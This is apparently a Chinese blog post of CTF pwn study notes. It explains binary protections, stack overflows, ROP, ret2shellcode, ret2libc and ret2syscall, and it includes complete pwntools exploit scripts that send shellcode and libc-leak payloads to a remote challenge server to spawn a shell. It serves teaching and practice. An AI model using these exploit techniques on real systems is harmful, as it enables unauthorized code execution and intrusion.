PWN的学习

6 篇文章 0 订阅


0x01 Hello,PWN!

"Pwn"是一个黑客语法的俚语词,是指攻破设备或者系统 。
CTF中的pwn是指通过程序本身的漏洞,编写利用脚本破解程序拿到主机的权限。
分析程序,熟悉操作系统的特性和相关漏洞,基础知识的准备在之前集训或多或少做过铺垫:

  • c和python
  • 汇编
  • 操作系统(Linux)
  • 好多库和插件
  • 我主要用的Ubuntu和ida

保护机制

例子
RELRO:重定位,一般分为partial relro和full relro,前者重定位信息可写,比如got表,后者不可写。图例就是不可写。

重定位信息:当编译器生成一个目标文件后,其并不知道代码和变量最终的存储位置,也不知道定义在其他文件中的外部符号。因此编译器会生成一个重定位表目,里面存储着关于每一个符号的信息。
GOT,全局偏移量表,用来存储外部函数在内存的确切地址;
PLT,程序连接表,用来存储外部函数的入口点,程序总会到PLT这里寻找外部函数的地址。
PLT存储在代码段内,在运行之前就已经确定不会被修改,所以PLT并不知道程序运行时动态链接库被加载的确切位置。

STACK:stack canary,栈溢出保护,图例无保护,就可以考虑利用栈溢出。
NX:数据执行保护,禁止程序在非可执行的内存区中执行指令,一般来说,NX主要是防止直接在栈和堆上运行shellcode代码。
PIE:代码段随机化。

ASLR:地址空间随机化,使用root权限可以修改,Linux下对应PIE

做题步骤

1.查壳:linux下没有很强有力的壳,一般直接upx-d file可以脱壳;
2.查看保护:checksec;
3.具体分析


0x02 栈溢出

栈溢出其实就是指向程序变量中写入了超过自身实际大小的内容造成改变栈中相邻变量的值的情况。实现栈溢出要保证两个基本条件1.程序必须向栈上写入数据;2.程序并未对输入数据的大小进行控制。

1.栈溢出的保护机制

  • 栈上的数据无法被当作指令来执行

    数据执行保护(NX/DEP)

    绕过方法ROP

  • 难以找到想要找的地址

    地址空间布局随机化(ASLR)

    绕过方法:infoleak 、retdlresolve 、ROP

  • 检测栈数据是否被修改

    Stack Canary/ Cookie

    绕过方法: infoleak

32位ELF132位ELF64位:
64位ELF参数依次存入rdi, rsi, rdx, rcx, r8, r9
如果不够用再存到栈里

2.判断栈溢出方法

  • 基本条件:一个输入函数,往栈变量输入了数据
  • 溢出条件:输入的数据大小与其开辟的空间大小不符
  • 常见输入函数:scanf,gets,read;scanf和read的输入大小限制有问题

3.ROP

【技术分享】现代栈溢出利用技术基础:ROP
返回导向编程(Return Oriented Programming )
其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

ROP 攻击一般得满足如下条件:
1.程序存在溢出,并且可以控制返回地址;
2.可以找到满足条件的 gadgets 以及相应 gadgets 的地址;
3.如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。

  • 基地址-Base Address

因为地址无关代码使用段之间的相对地址来进行寻址,内存中的虚拟地址之间的差必须与文件中的虚拟地址之间的差相匹配。内存中任何段的虚拟地址与文件中对应的虚拟地址之间的差值对于任何一个可执行文件或共享对象来说是一个单一常量值。这个差值就是基地址,基地址的一个用途就是在动态链接期间重新定位程序。

①ret2shellcode

这里以穿山甲2021冬令营一道简单题入手
在这里插入图片描述

ret2shellcode在栈溢出的攻击技术中通常要控制函数的返回地址到预期地方执行我们想要执行的代码。ret2shellcode代表返回到shellcode中即控制函数的返回地址到预先设定好的shellcode区域中去执行shellcode代码,这其实是非常危险的。

StackOverFlow之Ret2ShellCode详解

再看回到这一题,
checksec
在这里插入图片描述无保护,读写执行权限都开着
在这里插入图片描述
在这里插入图片描述
第一次read往bss上的name写入,第二次gets又写入,于是我们可以利用第一次的read上传shellcode,第二个gets上传溢出的shellcode,偏移量多少呢题中有了
在这里插入图片描述不过有时也有假的可以利用gdb调试出来可以参考上篇博客提到的ret2text

EXP:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
ma=remote('47.114.137.161',50945) 
#本地连接用process
shellcode = asm(shellcraft.amd64.sh())
name_addr=0x601080
ma.recvuntil("tell me your name")
ma.sendline(shellcode)
ma.recvuntil("What do you want to say to me?")
payload = 'a'* 0x20 + 'b'* 8 + p64(name_addr)
ma.sendline(payload)
ma.interactive()

写shellcode不要忘记加上架构名称context.arch = ‘amd64’,不然都不知道为啥报错🐶

solved
动态flag哦
补充一下ELF中两个重要的节头表

  • .bss 可修改数据,未初始化->没有占用ELF空间(程序开始执行后,系统才会申请内存来作为实际的.bss节)
  • .plt和.got 调用SO文件中函数,配合获取被调用函数的地址【】
    • 作用: call _printf并不是跳转到了实际的 _printf函数的位置,而是通过相对跳转到了PLT表中的 _printf项;
      ELF中所有用到的外部SO文件函数都会有对应的PLT项目;
      函数必须被调用过.GOT.PLT表中才会存放真实地址;
      .PLT可以直接调用某个外部函数。

②ret2libc

原理:控制函数执行libc中的函数,通常是返回至某个函数的plt处或者函数的具体位置(即函数对应的got表项的内容)。一般情况下我们会选择system函数,执行system(“/bin/sh”)。

ROP可以看到自定义vul函数中先执行一个write然后read;
checksec
在这里插入图片描述
32位ELF,
NX enabled 显然shellcode行不通,绕过保护,目前主要的是 ROP;
在这里插入图片描述binsh,system,syscall都没看到,

利用ret2libc,首先要找到libc加载地址,从一个libc里的函数地址找,一个已经被调用过的got表中找;

read被调用过,所以它的got表里是真实地址,于是我们控制程序流去做write(1,got[“read”],4u);

这里read明显存在栈溢出:buf只占0x88+4但是可以写0x200,所以是可以这么去做的;

  • 考虑第一次payload

32位ELF

padding
retwrite_plt #write函数地址write(1,got[“read”],4) #32位一个地址是4
write_retvul_addr#返回到我们想要的地方
arg11
arg2got[“read”]
arg34

=>
payload=padding+p32(write_plt)+p32(vul_addr)+p32(1)+p32(read_got)+p32(4)

得到read函数的真实地址,题目给了对应libc.so,从中找到read函数,计算出其偏移,由此泄露了libc加载地址,于是可以知道system和binsh地址

返回到了vul函数,

  • 可以构造第二轮payload
padding
retsystem_addr
system_retvul_addr
arg1binsh_addr

=>
payload=padding+p32(system_addr)+p32(vul_addr)+p32(binsh_addr)

Exp:

from pwn import *

context.log_level = 'debug'
p=remote('47.114.137.161',50946)
#加载libc
elf=ELF("./pwn05")
libc=ELF("./libc6-i386_2.19-0ubuntu6.11_amd64.so")
#泄露两张表
write_plt = elf.plt['write']
read_got = elf.got['read']

padding = (0x88+4) * 'a'

payload1 = padding + p32(write_plt) + p32(0x0804851D) + p32(1) +p32(read_got) +p32(4)

p.recv()#"welcome to pwn05\n"
p.sendline(payload1)
p.recv(4)#"bye\n"
read_addr = u32(p.recv(4))#read函数的真实地址
p.recv()#回到vul所以又一次的"welcome to pwn05\n"

#在read输入前先计算偏移量
#read函数实际地址
log.success("read_addr = %x",read_addr)
#所以算出基地址
libc_base = read_addr - libc.sym['read']#sym字典查找,语法记住就好
#加上偏移量得到system,binsh实际地址
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search("/bin/sh").next()

log.info("system_addr = %x",system_addr)
log.info("binsh_addr = %x",binsh_addr)

payload2 = padding + p32(system_addr) + p32(0x0804851D) + p32(binsh_addr)

p.send(payload2)

p.interactive()

solved

推荐阅读:【技术分享】现代栈溢出利用技术基础:ROP


③ret2syscall

syscall:系统调用,可以理解为系统自带的一些函数。
不同系统调用都是使用syscall汇编指令,区别在于调用前ax寄存器的值不同。
ret2syscall:通过提前控制ax寄存器的值,并通过syscall调用函数(如execve)。

以题为例:
在这里插入图片描述

  • 为了触发系统调用,我们需要吧 sh 的路径存入通用寄存器里,然后利用 syscall,
    比如利用 execve("/bin/sh",NULL,NULL); 来获取 shell

  • 32 位程序的系统调用方式为:
    eax 存储系统调用号,这里需要 execve 函数,则为 11
    ebx 存储第一个参数,这里是 “/bin/sh”
    ecx 存储第二个参数,这里是 NULL,也就是0
    edx 存储第三个参数,内容同上

  • 64 位程序的系统调用对应的换成了 rax, rdi, rsi, rdx

看几个汇编片段:
ROPgadget --binary c3 --only "pop|ret"
在这里插入图片描述再筛选一下只包含syscall
ROPgadget --binary c3 | grep "syscall"
在这里插入图片描述
在这里插入图片描述在这里插入图片描述



  1. 图源穿山甲冬令营培训PPT ↩︎

  • 2
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ca1m4n

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值